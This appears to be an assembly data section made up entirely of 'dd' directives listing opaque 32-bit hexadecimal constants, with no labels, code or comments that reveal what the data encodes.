dd 7E365787h, 0FE8A8EB3h, 7B56333Bh, 8BE9316h, 6CC2B205h
dd 487EBCD0h, 40654A8Ah, 8791FD44h, 0BF00F35Ch, 458DDF33h
dd 0CB7FB4h, 0D57268E7h, 0A1234E7Ah, 0A0299000h, 6F8DE0C6h
dd 31142807h, 125609D3h, 55A3DDh, 0B7710564h, 3F95000Ch
dd 775E98B3h, 52001B80h, 828E7F2h, 4B5A9AEh, 312B2585h
dd 0F4BCA073h, 0BED9502h, 8148CB8Fh, 0ABA7A180h, 4440D100h
dd 0C1021CF8h, 5FDA9975h, 618453EAh, 0FE2B4EF2h, 1FF5D8A0h
dd 1200BBEDh, 55A4C338h, 0A8272DAh, 0C5902691h, 621F8Ch
dd 0D715B60Eh, 0FD00322Ah, 0F8CCAB57h, 48E746h, 0DA30256Eh
dd 0D25BE3E6h, 3BED58C0h, 0C9FB62B9h, 9F0984A9h, 775C4E83h
dd 522B20E8h, 930459ECh, 0E0647FA4h, 0DC8484A3h, 3B3098F1h
dd 90F3B601h, 6719ECA9h, 7A0DE874h, 26323959h, 160B194Ch
dd 7C80C2F6h, 53ED9C39h, 666EFD1Ch, 0DD7F8E40h, 5820DC15h
dd 0EE00E879h, 0B3862FF9h, 13005BE9h, 7490ACC5h, 5CE8B4B9h
dd 7C0940A2h, 40C86E52h, 6C7661E6h, 0C5D99E02h, 0E0C7221Fh
dd 0B34E64h, 33BA9602h, 38EE885Eh, 0D50D9300h, 6D39CA2Fh
dd 0D1F900F3h, 51706AE5h, 6916A4FDh, 0ED093F87h, 0BECD0780h
dd 39985690h, 1CD700ECh, 0BC256FB1h, 2916802Dh, 74408F9Ah
dd 3EBF7BC3h, 95DA150Dh, 432E84E9h, 853B62C8h, 40AF0F00h
dd 385700F1h, 5F3F681Fh, 0B23001F9h, 53D20DBh, 0CDED3DA4h
dd 45754F00h, 0BAECE779h, 7661F006h, 3F28D620h, 121E94B2h
dd 0B8EB14DBh, 7F2DD900h, 1FC30FBDh, 7B303400h, 0F001C192h
dd 37F500D8h, 0A6115C9Ch, 0D32C7E63h, 8782DC6Fh, 0E0CF4F8Ch
dd 9AAAD77h, 0B30C0E9Dh, 0F2F5C40h, 57BF6312h, 3D2C0440h
dd 6B8515DBh, 6880321Ah, 46B672BBh, 0EC001E7Dh, 0F9A30CD6h
dd 9098532Bh, 129AE0B4h, 5F324CB6h, 234DE10h, 0FC80ED30h
dd 40003C50h, 1B6F63BEh, 0D0D555h, 0EA2CA083h, 0CB94F8FBh
dd 0E97C4212h, 0CC220000h, 0C2FC43Ah, 0DF7863A2h, 390AFC40h
dd 9089F047h, 0CF30200h, 837F61h, 377B8B76h, 0A7F83839h
dd 3C6A491Dh, 34E5D380h, 1B488957h, 48E0231Ch, 0C84D7FB0h
dd 51023C90h, 607E2F84h, 0CD99600Bh, 63A5009Fh, 13C1911Eh
dd 5C0F1840h, 5B5284h, 65517A2Fh, 41F003EBh, 2108D248h
dd 5F64B080h, 0DFB31E00h, 7CBD338Bh, 71076190h, 10799344h
dd 53B884Dh, 0D4928B7Dh, 7E85EAFEh, 0C1C49300h, 0B822ACCh
dd 8F7DBBBCh, 77D6C280h, 9A019658h, 6DAC4442h, 198004FFh
dd 2B6AA648h, 0CB2CCF21h, 5F80BCA3h, 0D87D56DDh, 0E6779C1h
dd 37E4AD9Ah, 7BCD5E40h, 50589362h, 2D448BFh, 0E07A3AA3h
dd 0ECEEC058h, 0B6A70027h, 0E3B0F98Bh, 0DB00787Fh, 0A4E11CBEh
dd 61D9ABh, 3FFAB933h, 24A9C3F7h, 37034F00h, 38BBAAEDh
dd 8B7355h, 8AE5D4BDh, 19D90E7Eh, 0EEA1B803h, 0CAE78157h
dd 662F6030h, 5D07FAA8h, 0EB00B413h, 0F7E05285h, 67079931h
dd 0DD01B08Eh, 5FA13980h, 1EBB1269h, 8B7400D6h, 6C3C951h
dd 4349CE02h, 0C8604D87h, 0C44FCh, 0BD611C4Eh, 5451E52Ah
dd 97128492h, 50406771h, 858FD98Dh, 9CAF06B7h, 186170A4h
dd 740C2D79h, 11C7F7A5h, 0A8D28007h, 1EBDF286h, 0E068B57h
dd 4FA98DDEh, 0FC841849h, 0E882E4E9h, 90F6D410h, 7CDA7C34h
dd 626000A7h, 0A49DB545h, 0CB01C503h, 475348B3h, 44285AD5h
dd 2BBD5C02h, 60804CE5h, 86684BC7h, 0FF24E9F2h, 0F001978Ah
dd 208C3184h, 11885828h, 4C01A710h, 5B345970h, 72C9DC31h
dd 41171977h, 7B0094B7h, 74CBCEBFh, 0D06B62E2h, 68785067h
dd 0DDC60201h, 0E5AD5986h, 175F8C7h, 108D0065h, 27B3481Bh
dd 9E000DB8h, 958C92Dh, 3B31D6D7h, 6F003485h, 35F9B1FBh
dd 0F6000CA3h, 0F27C5756h, 0DCA7B9h, 4A721BA9h, 0D458B7D5h
dd 0C5170C00h, 9D071454h, 351101F4h, 53C995A2h, 0D9BD05h
dd 0EB59947Dh, 131D8Eh, 2EA69BD4h, 3445C54Ah, 22880FFh
dd 0DA75378Bh, 0AB10C09Ah, 0B282384Eh, 22C5F30Eh, 0C22381F7h
dd 59801053h, 81BC3F24h, 1D18A85Bh, 65190BE3h, 724100C5h
dd 0E4D3A562h, 8B031801h, 874BD0CBh, 302951ABh, 15A9E6E8h
dd 0F81C1DB4h, 9097E800h, 8F410335h, 0BF003A72h, 81A6F9B8h
dd 340A5Eh, 3DC7962Dh, 3B039E67h, 1A0FEB7Ah, 878F0476h
dd 0D1C06524h, 0FE0E5A6Ch, 730371Eh, 6D4C399h, 2E50697Ch
dd 1C008C58h, 0A172236Bh, 0E26F6A19h, 0FFE8C0h, 0B641C397h
dd 133D39DDh, 922A331h, 209F69CFh, 2EB640E3h, 0C5710838h
dd 7877FA01h, 374EBE1Ch, 1B28070h, 3213C474h, 811E43F9h
dd 47A2ED58h, 0C7A3D7h, 0BF04B710h, 5D271062h, 6618F33Dh
dd 21B108h, 0F2BF0BDAh, 8D0EF77Ch, 0B3048712h, 31D98701h
dd 298C97F9h, 0EEB9B86Fh, 5D4D1503h, 0A32ACB53h, 0C8E4E2E8h
dd 910BE8h, 0A27D1BF9h, 0CF52E06Dh, 0FF24BC03h, 7E9AE5h
dd 7D4AA340h, 6405095Eh, 0E9BFC30Ch, 0C0820833h, 5E653C21h
dd 0B03F61C0h, 8017004Ah, 2858B72h, 7E522831h, 70C0380h
dd 6A18E6E3h, 84D61810h
dd 0EEA93800h, 4117BA94h, 3AA5FF00h, 19D324E0h, 55900DBh
dd 647DF0ADh, 8A52C09Bh, 2513C304h, 5D48E0D9h, 7B19C094h
dd 0ECABD3Eh, 816C2406h, 6008F416h, 270121BCh, 450073BDh
dd 9D82A67h, 0E8E03B29h, 0E226001Ah, 0BD767D12h, 1900C096h
dd 5B21147Ch, 3BAD378h, 30BEF08Ah, 88D0FB2Dh, 88CE8173h
dd 0ED1F0005h, 0F4427F45h, 0FA21002Ch, 0FC728FBAh, 2700FD28h
dd 7F52D19Ah, 1479449Bh, 208904F5h, 60CC2DE3h, 30F8652Eh
dd 6AF98B98h, 1F0354C6h, 0B46FE907h, 0A168D3FDh, 20806579h
dd 8354CE57h, 88515CC2h, 0FAF1E47Ch, 266A2102h, 0A3CC0F76h
dd 7097ADA4h, 0A81E0159h, 0C959CB06h, 0A75E44Bh, 17EF14A0h
dd 0F9E07F41h, 94AD541Ah, 8413004Bh, 75A2F8B9h, 441EA718h
dd 0FDCC9927h, 4409386Bh, 25F0DAF6h, 1162A830h, 73FE84h
dd 0D507FC37h, 0D4CFE389h, 21C088E8h, 327406A3h, 3E44007Ch
dd 9A90BFF0h, 5806FA19h, 0A7A80514h, 4704A1E1h, 0BD081F18h
dd 0C4DC0EC5h, 0C848BEh, 0DA0A920Dh, 0CB2839E8h, 9D448C8Fh
dd 0A0011805h, 90F9D8C4h, 0E0E4ED3Dh, 0EF5BD211h, 647103DAh
dd 0BAF6916Eh, 0B3BB5903h, 4395B409h, 5500C028h, 9EF51260h
dd 0CC0AEE70h, 840BEFB6h, 2257F140h, 0DBBC245Bh, 18771330h
dd 904B892Ch, 7A66FA03h, 1DC06C0Bh, 4ADABD58h, 9E785E39h
dd 0EC7C441h, 20B2622Ch, 75BD29CAh, 8073323Bh, 71ED3941h
dd 154B2ED9h, 0E0B893FBh, 79B94718h, 0B3004D82h, 0FA20467Fh
dd 0A060C10Ah, 0CE83F8h, 0DCD233C3h, 363024D7h, 3EA67700h
dd 0D48FE438h, 0E33C014Fh, 46533EDh, 25C2399h, 73B54CAh
dd 107631C9h, 954F24Bh, 6E309AEEh, 74EC8828h, 2F00A946h
dd 98F94505h, 5B09A201h, 5B72630h, 7000AEC0h, 21A1A9C6h
dd 3113704Dh, 0B3703FBCh, 0C23C34E6h, 0DE0020B0h, 4E93C656h
dd 1ECBAF42h, 9F6258ACh, 0CC3814E7h, 35A1220Ah, 0B7465C54h
dd 66766807h, 5E003BBFh, 510EB052h, 389E9F26h, 0D6101303h
dd 18987CE3h, 187D8F39h, 6566520h, 54CC01ACh, 68B9073Dh
dd 21DF810Ch, 0C254F440h, 1C6B4BADh, 407CEC4Fh, 0A3F1A4Ah
dd 0BC077F5Dh, 10052396h, 119454AEh, 5C00B4B3h, 4B140D20h
dd 0CB09F4AFh, 82950526h, 48B3B25Bh, 3CF19360h, 5F01756Eh
dd 714FCCB6h, 67C06E44h, 19BA4514h, 91929834h, 0B10BD4D1h
dd 0BE74F117h, 0E90001FFh, 85C10528h, 93FE7FB8h, 0EFF19441h
dd 698F6514h, 44800CC6h, 4C4D78FAh, 238FA10Fh, 22860042h
dd 116DF38h, 508DC6CAh, 409BE789h, 7A300598h, 5B0EB4Dh
dd 0CCE62039h, 5095B002h, 0F1A882B0h, 54CB1898h, 0D1073E08h
dd 4083646Fh, 2654F358h, 1D147510h, 80CEFFF1h, 0AF8994Bh
dd 0BA0F55CBh, 0CE802E96h, 1A435B3h, 4223EE0h, 0B899444Eh
dd 24E8C135h, 2D1FF338h, 0C1403D23h, 0CED6A70h, 0CC94488Ch
dd 88B95B15h, 2F07D73Eh, 71E13181h, 60B4ADE7h, 0E0409F20h
dd 8C4D34C0h, 20C481A9h, 0D985C8ACh, 108FBF0Ch, 2C9A299Eh
dd 3443F0Dh, 8A300B78h, 0B463682Ah, 810A3D09h, 790C0D93h
dd 0F2D023F3h, 0E9224300h, 86823C4Dh, 0F60144h, 7312336h
dd 8DB21CDh, 2663650Eh, 0EE28A5E0h, 0B004C853h, 75438573h
dd 61770A0Fh, 243C4E4Ch, 0EB8350BDh, 9BAAFDCh, 0C0F4E0A8h
dd 7034D498h, 80E10A89h, 0B04B3080h, 6BB112FBh, 0A00654B2h
dd 92951AFCh, 1BDB1821h, 12E138C5h, 0FC9A0BB8h, 0BEFF7F18h
dd 49B511E9h, 2A809495h, 0FA54DD9Bh, 16019372h, 598966B4h
dd 70608187h, 0FD1C8C2Ah, 0DFC83A73h, 488764D4h, 802F1FBEh
dd 9EB1F7E5h, 0B72483F9h, 54CA605Eh, 2A035C2Bh, 0ECBFB66Dh
dd 26880C8Ch, 0A037CFh, 7E4AE03Eh, 6AE2303Ah, 0A00C0890h
dd 5137890Ch, 56F81411h, 107CC0E5h, 3E8E9769h, 0CB461305h
dd 3006001Dh, 73A978A7h, 0E45F00FBh, 0EF509211h, 0E605C632h
dd 3546F6EBh, 1E028A1Fh, 0C18FDB71h, 20336D8Ch, 0F7AC012h
dd 0B5C04BE0h, 72051AF1h, 2088E978h, 4F40130h, 0AED3913Eh
dd 1B3980B8h, 69D93239h, 0AFBC2CF3h, 2F270330h, 0B6C8488Dh
dd 0DE05804Bh, 0FBDC2A09h, 935BAC44h, 744D6400h, 0E8009854h
dd 4170C8Dh, 1265AF4Fh, 4F6DF91Ah, 0B289FB08h, 0FC9D000Fh
dd 0B1BFE30Dh, 0FD1AF410h, 0B3F88C50h, 0F0A90F26h, 6E5E3B08h
dd 0EC9BDE1h, 88BA183Ch, 0BD0723D4h, 0C9350AEDh, 0D0AC11D9h
dd 88425DF5h, 6AB86020h, 3E8491F0h, 0BB22C2B8h, 0A07DCB20h
dd 80937B7Ch, 0E688BF5Bh, 0DE4F0166h, 1E07A91Ah, 27AB2045h
dd 0C297C07h, 7570F31Bh, 77145Dh, 0CF0A2B68h, 0B755A3AAh
dd 2EDB6C1Fh, 88BDC940h, 0B8C41C15h, 7F2222D4h, 69137534h
dd 510BDC01h, 8C402FE1h, 0E065CCC8h, 14BA48B3h, 0B8390C06h
dd 2A48B8C3h, 667D14D8h, 9B2000B0h, 1F15FDCFh, 0B8C804FCh
dd 81A33E0Bh, 81489410h, 52E0C288h, 7980B1A8h, 9CB90623h
dd 0FE0ECB35h, 0A7D1A5E5h, 5774DFEAh, 6DF22F80h, 0E96C000Ah
dd 0B5814977h, 6551292Dh, 3D30D6D0h, 0ECB24BDh, 91D02171h
dd 25D606BFh, 54C082BDh, 1C13BCB0h, 0CCF70E94h, 0B1298D5Bh
dd 50CA8E3Dh, 173BA4C9h, 0EA2E845Dh, 0BCC788B6h, 48511632h
dd 88B483A4h, 98988CBEh, 4402CF46h, 344DF222h, 0F90500C7h
dd 0D1C0233Bh, 247FE706h, 80A080ADh, 0CF8FD2EFh, 0BD004450h
dd 36A5DD3h, 4833D904h, 0F7040CEEh, 88506D42h, 9440BF6Ch
dd 40AE4BF4h, 738185A4h, 0A1280513h, 700FDDAh, 0FBD86E56h
dd 44D1622h, 51EEA094h, 8F14D1CFh, 804E0930h, 0B7C2B288h
dd 3D82F5FDh, 4060223Bh, 91182016h, 8E2995FFh, 75A73089h
dd 0FDDD1D70h, 3673B58h, 0CB4F8704h, 0C766A816h, 82400CCCh
dd 0A439C65Bh, 0D2D5900h, 7460F1AEh, 627529h, 16D95B45h
dd 0FF1A6840h, 35E22202h, 0E4CA30A1h, 4F811BA4h, 8EF4E178h
dd 0C0BE881Ch, 0CD7BBCABh, 4E76CC00h, 0D261E499h, 0EC8014C9h
dd 3A96DC88h, 657510D4h, 341DDFh, 79F51878h, 925EF5Bh
dd 0DABC939Ch, 0BF4C607Eh, 0ECC725D9h, 0B439DC02h, 0BC01A24h
dd 31F9BFD4h, 1B218E13h, 0D8C913B5h, 0B2D77610h, 2E802E00h
dd 75215E80h, 29558065h, 0C52822A0h, 93AF916h, 0E333A042h
dd 64AC680Bh, 4ECD77DAh, 77803228h, 2CC04C00h, 0EB9C1A2h
dd 64969739h, 4D000850h, 507F4E54h, 9CCD43A3h, 0AB8E4C4h
dd 0E870202Eh, 0F4808C55h, 2865D54h, 0EC6BD22h, 0C5196C44h
dd 942AD511h, 1806BCEh, 0EEDAB322h, 0BC2CD9D4h, 18CB8B8h
dd 2A1BC761h, 0F2393A7Ah, 70C040E9h, 1C8C2318h, 0D13573FCh
dd 878F88F7h, 0C073F1A1h, 0A58039BDh, 0FBC86112h, 8C480BAEh
dd 0B95AFCACh, 8050A03Ah, 445D3A6Eh, 51BEEAh, 0F04759ABh
dd 0AC600FF9h, 0EC261701h, 0F4C03B02h, 139C9F8h, 0C848EBEDh
dd 30CDA385h, 19000390h, 3DDCE508h, 409968h, 10D6A5B4h
dd 0F3FE441Bh, 72F0560Bh, 0E30BA1h, 1FB0289Ch, 112500D5h
dd 55E460B6h, 87035AC7h, 0FC5E50E9h, 8D16E062h, 0BCEA0027h
dd 0E204CBBBh, 0E53DDE5Fh, 0B9F080D4h, 490F6B51h, 781E00DDh
dd 0E09AC9D0h, 0F50163A7h, 0D79E8B03h, 320DBD5h, 215C0072h
dd 0ABE5A0F0h, 9D00B945h, 82DF8642h, 647463h, 3639E4D9h
dd 7E204A6Fh, 0C0EA93E4h, 0CA2B751Fh, 1A616E40h, 1E509C14h
dd 0CF4192AAh, 1805BC4Eh, 8DE1C1D3h, 2771D8BEh, 26A83E00h
dd 9CF35B8Eh, 7D860055h
dd 95DDCDE5h, 930F582Bh, 27062D7Ah, 50134952h, 81781F34h
dd 8178DF01h, 5C136F6h, 0B22424BCh, 0A3C20A00h, 56DE97FBh
dd 0A9E500A1h, 7D420375h, 7312438Ah, 0D0537FF3h, 0F2515700h
dd 0F837701h, 0E667B5D2h, 44A1980h, 0B6007442h, 0F908EB35h
dd 8B7150h, 84811385h, 676ACFD5h, 8C14C0A0h, 83ACFC38h
dd 99DC900Eh, 91FAD8B3h, 0FAA37F2Bh, 187CF030h, 0C0D2C63Ah
dd 4E14C38Ah, 2C84F30Dh, 0FA0B7991h, 0AFAA8011h, 2AB5A8h
dd 0D53FF468h, 0CFCA9FBBh, 52D71D05h, 0EC01A4B4h, 0E2364C46h
dd 1E995180h, 0EF660637h, 90406000h, 8070B82Eh, 0B472E6h
dd 0F8596917h, 0C2D0A953h, 3C4AFD00h, 0F27CB89Bh, 0B7E401D2h
dd 0EC195C4h, 0C7B82415h, 10A7400Ch, 188F594Ch, 70D3AA6Eh
dd 8800289Eh, 61F68E60h, 26222CFh, 63B45D81h, 0CC87A54Fh
dd 0D7CBE074h, 0F10006CDh, 5AAE5626h, 0B9FBBAh, 4CF3E086h
dd 0B4276913h, 4E89100h, 88796298h, 489F0074h, 0EB21C840h
dd 3B28B87Fh, 0FB1FD866h, 31005EFFh, 60260772h, 8C5905A2h
dd 6379DD7h, 0B15254F0h, 6D1B4F00h, 3FC449FEh, 0F69D1FBDh
dd 81EA1E26h, 0F84F1E82h, 9063F443h, 78F148h, 374A1B9Ch
dd 0BBB49Eh, 0CBC3A2A8h, 660B699Dh, 63514905h, 0C01491EDh
dd 14543869h, 119C8E0Ah, 690396A4h, 455EA639h, 0C2EB1590h
dd 0B1C84E00h, 52D91087h, 0A5DC2DB6h, 8B005C56h, 0C5D04DCBh
dd 0E07CBEh, 6FB2DB7Bh, 9FE644ACh, 0D53BFF00h, 378E242Ch
dd 6C540E1Bh, 1C809E45h, 0F75B1597h, 2E5E0C06h, 0E280B9Bh
dd 0F2DE7718h, 22336A60h, 0CB1C135Ch, 8380A825h, 0AC22EC6h
dd 847015h, 281A4871h, 46E748Ch, 9831B5E4h, 1DE5C950h
dd 0E4CF49FCh, 0E7A300D0h, 0B9E98CDCh, 5D039B42h, 69E592FFh
dd 0E7348312h, 0EDB12CE0h, 1C0E3A36h, 0E590D6B0h, 8F308728h
dd 0C07E40A5h, 30F56388h, 4A98A74Bh, 0DF0054CEh, 17F1DE7Bh
dd 15A51E2h, 2D338F83h, 80B4059Ah, 8E4B5F61h, 736A0E7h
dd 0B5216711h, 0E33BD06Dh, 1400A62Bh, 0A30597BCh, 247BEE42h
dd 19C52B9h, 0F6B56D9Bh, 0BFD980A6h, 0CE4C151Dh, 0A0084950h
dd 0F0064F1Fh, 0EF6C62F2h, 5A951601h, 662D8944h, 4A52824h
dd 0C483C934h, 7BA18145h, 7188203h, 0F22E40D4h, 0ECA74C8Ch
dd 9A00A13Eh, 5DE79685h, 0CD50D8E9h, 95580888h, 27390017h
dd 0CF41D673h, 7DF1006Eh, 0F6B1980Ch, 0FB0070C4h, 3FD20560h
dd 0AD7D9h, 6AB23E06h, 783380EDh, 0D6C3C701h, 0BEF94A2Dh
dd 5C8043C9h, 30590536h, 0C23D44D1h, 8CC980B1h, 0B5DC9B7Ah
dd 7A2971CBh, 8F4200D7h, 9A0B34E5h, 6358C13Dh, 0DE0900F1h
dd 0CE45B424h, 0DD2C1D25h, 942E89BCh, 73AD1803h, 0A6E67FE0h
dd 3A47D01h, 0E90D62DCh, 1642AFF0h, 6089841h, 188138AAh
dd 9C3E6A1Ch, 8EF21A80h, 8A92DBh, 6F8B86E0h, 9931B1F0h
dd 93B8391Dh, 0C0829FCFh, 693A2890h, 2BE400FAh, 6E568FAEh
dd 2400A162h, 0F3F2E75Bh, 218A0Bh, 53DBC964h, 11767AD9h
dd 63D39202h, 0FC47B5B1h, 0E572C2Dh, 9E20515Ah, 88D0C9A0h
dd 0C51F3A7Bh, 0C70EA65Bh, 52BD0076h, 398578Bh, 0D4562495h
dd 0B1F0DAF8h, 0A203F0CDh, 0FAF25EE8h, 1A6AD067h, 4E3200EBh
dd 0E2D892A3h, 9D5C64ACh, 0F5208360h, 995880BEh, 0D08000F6h
dd 57EB8548h, 69000E61h, 128A3FD9h, 118C366h, 0A247F96Fh
dd 87C779DAh, 574AFAE0h, 0E18C4E80h, 0B4E3162Bh, 4D540087h
dd 0B033A174h, 8C117D60h, 124E06A0h, 9056E49Fh, 61A73358h
dd 66CC0806h, 80EC9h, 67E91EF4h, 8F35EE0Fh, 0BDF31300h
dd 4B53FC5Fh, 14A00094h, 1FDC8C74h, 640B80F9h, 0C169D40Eh
dd 94648940h, 33F22735h, 7F3B28A0h, 0B3000E39h, 0D4C7FA43h
dd 1736FD30h, 4A80BF35h, 984CE3B0h, 4BF76837h, 4DF8B8C0h
dd 8448E4A9h, 1CC93528h, 0D497FD00h, 0F2F95C41h, 3665898h
dd 9AD95800h, 0E038B2DEh, 0D602881Ch, 3F8BBB07h, 5BE8A0E0h
dd 0BDDB0064h, 3306EC38h, 0E400923Ch, 0FB8B1759h, 0DDDF56h
dd 0D8A5D4E2h, 0B7F2BB0Ch, 0D2411107h, 0B1672337h, 0C710B6D0h
dd 0E0BFCA9h, 0A8CDF860h, 812DD860h, 4507E874h, 2CCE8768h
dd 0D6E17BA7h, 0B98E7CA5h, 0F3404D4Ch, 616A4F4Bh, 20FE3507h
dd 0DDC02C42h, 5712591h, 0A623FF15h, 0F8B40531h, 6A44C898h
dd 48416D00h, 0EDB79A86h, 6CCF0052h, 0AD5F9F7h, 17008C07h
dd 7C0DD893h, 63F230E1h, 2E35103Ch, 0DB001975h, 9CB8F76Eh
dd 0E4479CAh, 7D479EFBh, 410BB086h, 80132C3Fh, 8658CCB1h
dd 0F224D6h, 492B0EF5h, 0EF69F48Bh, 600A5A38h, 92027130h
dd 0AE890073h, 0C47081B3h, 0AD306651h, 0D26388B5h, 7043128h
dd 8003C531h, 0E9BE469h, 5B43E6F0h, 81A9C7CAh, 707D5092h
dd 47609628h, 0E2EA6410h, 332837F0h, 0C53B10C9h, 4F011DF9h
dd 22098256h, 0F0D478DBh, 6887032h, 0ED265E1h, 171E30B8h
dd 0DD80D5CDh, 0DE01D624h, 0F05F0011h, 42C7BC1Dh, 0CC28A694h
dd 0A2E83035h, 0BDC8A107h, 0A76038B3h, 18C42DE8h, 50CDAB96h
dd 8F000793h, 12D748A9h, 0F2BC1378h, 0F255F876h, 0BD7900A3h
dd 0D616D84Dh, 4F3B2FA4h, 14419240h, 2AE0AC03h, 811804AEh
dd 85B83Dh, 0A3DCC4F4h, 3EC0145Dh, 417E10AFh, 115F94Ah
dd 8802A06h, 926B46DEh, 0F80E2C1Fh, 20719E07h, 0C2E1BD03h
dd 7640C774h, 775A2152h, 3FA9F0F1h, 0C918D360h, 0C564BC4Dh
dd 83157258h, 6100DAD7h, 0F29D7CBEh, 0E30815Dh, 3D7177C7h
dd 9C21C88Ch, 579D8301h, 0D527BFDEh, 66A509Fh, 98DD0DA5h
dd 0EC3C1500h, 0FF4F7D1Bh, 573119C6h, 80030807h, 1B141721h
dd 3FC76E3Ah, 4C80F9EFh, 21D65F25h, 8B0016F7h, 0DB6DDF75h
dd 0B3542h, 0FF9C5DA0h, 86D8FCB2h, 0BEAE8F00h, 4AEE0971h
dd 61CF00AFh, 0EAE350D6h, 0D4079A39h, 0F205C983h, 5525201Fh
dd 7BAB596Ch, 7A57002Dh, 0AADF906Dh, 69004E07h, 705D8D93h
dd 3FA06A0Ah, 7800DDC6h, 0AC0E59D1h, 280781FBh, 736865BDh
dd 1CF484B0h, 620D02C6h, 956E4139h, 0E3E907C0h, 6744BE00h
dd 384CCD04h, 0AE130066h, 50EA48C0h, 8CC20E1h, 1B214Ah
dd 1D63132Eh, 0C97EE76Dh, 5818DC63h, 0A651DBD5h, 0F8AC0028h
dd 52C2BE33h, 20DF8955h, 80642008h, 0A5BCDBB2h, 0B01F313Bh
dd 1344A9FBh, 45406321h, 439A3DEFh, 0B00077E2h, 8A5A0BBAh
dd 0C0D76970h, 3F35F371h, 0A1000814h, 0DD77BDC7h, 55EFEEh
dd 3103AC83h, 1352D9A9h, 0FE87A300h, 19B9B42Bh, 0E9991C3Fh
dd 43660832h, 8C4C94h, 14F65B3Dh, 0C0574994h, 39AB3519h
dd 471E5FE5h, 3B40742Ah, 0F6F4084Dh, 0D512003Ah, 53EA7341h
dd 5260362Eh, 0A0F26C51h, 0FAE9018Ch, 2AD18AFFh, 8095D101h
dd 0A00AA621h, 0B043601Ah, 44908490h, 0DA00D77Eh, 0CBDF1807h
dd 176C621h, 7F1E7764h, 0F86E59F7h, 53024396h, 56FC8D18h
dd 9C08765h, 90196144h, 50F91833h, 5412F7A0h, 887A4801h
dd 0A0581191h, 7F840778h, 64104BBDh, 0D3454Eh, 0E121A38Ah
dd 0D75899FBh, 60BCD0F9h, 1FC4F254h, 5E780F00h, 8D887B07h
dd 0D5BE0102h, 0AB1C6936h, 0FFBBD051h, 0BD34EF48h, 62E530F6h
dd 6F4A5900h, 60116448h, 14E00301h, 941C5790h, 132E823h
dd 0E980A0FEh, 94BC581Ah, 7169288h, 93D64FA0h, 404983B7h
dd 3301711Ch, 6B19DD00h, 18CF38E2h, 14943DA7h, 0A154CB7h
dd 0D4D3BBh, 66A6AEADh
dd 0E57DF01h, 3C8F78E0h, 5B21F98Ch, 0D4A6D506h, 2C795020h
dd 17BBAB8h, 0DA2CC99Dh, 2060BEF9h, 0D16D3F69h, 8DD28380h
dd 0D301434Ah, 16D62B19h, 0FFCDCD51h, 58506EF1h, 24E772h
dd 6856F1B1h, 0CE6352DEh, 0C69831C0h, 3CC3D1D8h, 159F017Ch
dd 0F19869BCh, 1C521899h, 4420B5C3h, 0DC6E05h, 0CA94D258h
dd 32AF00BFh, 10645C70h, 141AB730h, 4402699h, 0AB600B9Ch
dd 12365A6h, 0C511D7h, 8BA6D64Eh, 1AAA334Fh, 894BA5F0h
dd 7F80B0B7h, 1B3D061Eh, 5C695042h, 9D0B0124h, 96386E51h
dd 0C2360E0h, 3360430Ah, 46745C4Bh, 800079C1h, 3867A7C3h
dd 30E3CF07h, 0DB918720h, 0D200B5C5h, 0A20E35B3h, 29BF74h
dd 1FEA0A43h, 3A5BA4C3h, 7BD6CE0Ah, 8C0154E1h, 9A5AF20Fh
dd 4363B042h, 7EDA384h, 0F841E21h, 11A357FCh, 2215D56Eh
dd 0DA7B0C74h, 60BB29F1h, 0E782A99Ch, 9300A2C7h, 20C2530Ah
dd 97763CDh, 10698932h, 0C188202Ch, 0FB1028Ch, 6F525AF9h
dd 2310E919h, 642D0FA9h, 48E800C9h, 0E3592FD6h, 924944DCh
dd 60B80058h, 412B5BFFh, 65FA58D1h, 10FB9728h, 8862C590h
dd 0C1B16DA9h, 0E111FA1Ch, 8B2030F7h, 1113EA8Ch, 8850C0ADh
dd 2F1A8065h, 0BB114913h, 8602D9DFh, 20E3E77Bh, 98AA66CCh
dd 0E8C478A5h, 0FC2F7D60h, 8C40A73Eh, 0D0BD74BCh, 6068770Bh
dd 7F3071C3h, 0BA00472Eh, 0F3DB6F64h, 54A946h, 0D40BA8ADh
dd 0CD34124Ch, 0B1863Fh, 0BC0EE792h, 90974FB9h, 0C93F24DCh
dd 7A465E7Ch, 8852FC01h, 0CCD3DB80h, 2CB121C8h, 352A4D01h
dd 2CFCBF85h, 0D902002Fh, 0C86A9616h, 8711D8Fh, 65575109h
dd 91D897EEh, 7D409D4Bh, 69F9A2DAh, 0EB98A8D9h, 6CCA00F0h
dd 797A4F82h, 23026D45h, 4CB0942Ch, 32B44C16h, 0BFD2A6BAh
dd 4F011067h, 6FD2A6C1h, 227E95F0h, 0B2FC8821h, 0B4C96800h
dd 0FDA9B8C4h, 277D03D0h, 0E0F9590Dh, 0C87CCBECh, 20FAC095h
dd 514DCB5Eh, 0C0148844h, 0E986A0F0h, 91012A21h, 88C0077h
dd 923C82A0h, 8F3D31D3h, 806521BCh, 0BEA70B21h, 147708C8h
dd 0BCF9FBCCh, 2A01B223h, 28C0BA13h, 2780C873h, 551D1332h
dd 586E3B00h, 0D6A55601h, 0F8144CF1h, 708C93ECh, 3052E4D8h
dd 4C19E597h, 0B407CAF8h, 1D437407h, 434DA402h, 0C45DBA14h
dd 0AA64027Ch, 8711D58Ah, 0DEDB7B21h, 15111029h, 48B7514Bh
dd 0D358CFC4h, 9D59197Bh, 4292049h, 65861600h, 0B52FFE91h
dd 0AE623B04h, 8C8E7B22h, 18C08088h, 99BB59F4h, 5803B2Ch
dd 2CEB575Ah, 0A00AD8Dh, 0BEB90E27h, 133479Dh, 0DB2815FAh
dd 1552CF96h, 2C94D882h, 22846618h, 0E8989C5Dh, 0DB056070h
dd 11D6197Fh, 0D4B17C02h, 79A48764h, 812143h, 0D2F84419h
dd 25BCDD47h, 0AFD83D0Fh, 348800FEh, 5CEBE0B7h, 2444F09Fh
dd 0B0422CF8h, 0FE465E54h, 6D1C3F05h, 22C81F55h, 676474FEh
dd 0D4600850h, 1682CA6h, 0C7912848h, 0A6BC8D00h, 5694874Ah
dd 9467813Dh, 8090BAF8h, 0D0FFBE95h, 0E2B0C1DEh, 63406F49h
dd 30ECA274h, 1204D6BDh, 86CBC9B0h, 96886C8Eh, 0AC002C0h
dd 4C645807h, 0FDE262C1h, 0E53C9C6Ah, 13A6EF42h, 71A051C9h
dd 1A186Dh, 4FAB087Eh, 7C5DD7Ch, 78599029h, 0CA18EE71h
dd 0F45E4814h, 39722A8h, 0C3F00126h, 0A7E87168h, 690B7730h
dd 87415AE4h, 5B5E00h, 7BAB0E1Ch, 1151C0D4h, 28430D0h
dd 3E38100h, 68A967ADh, 0B78C0605h, 61E9BB77h, 639B3800h
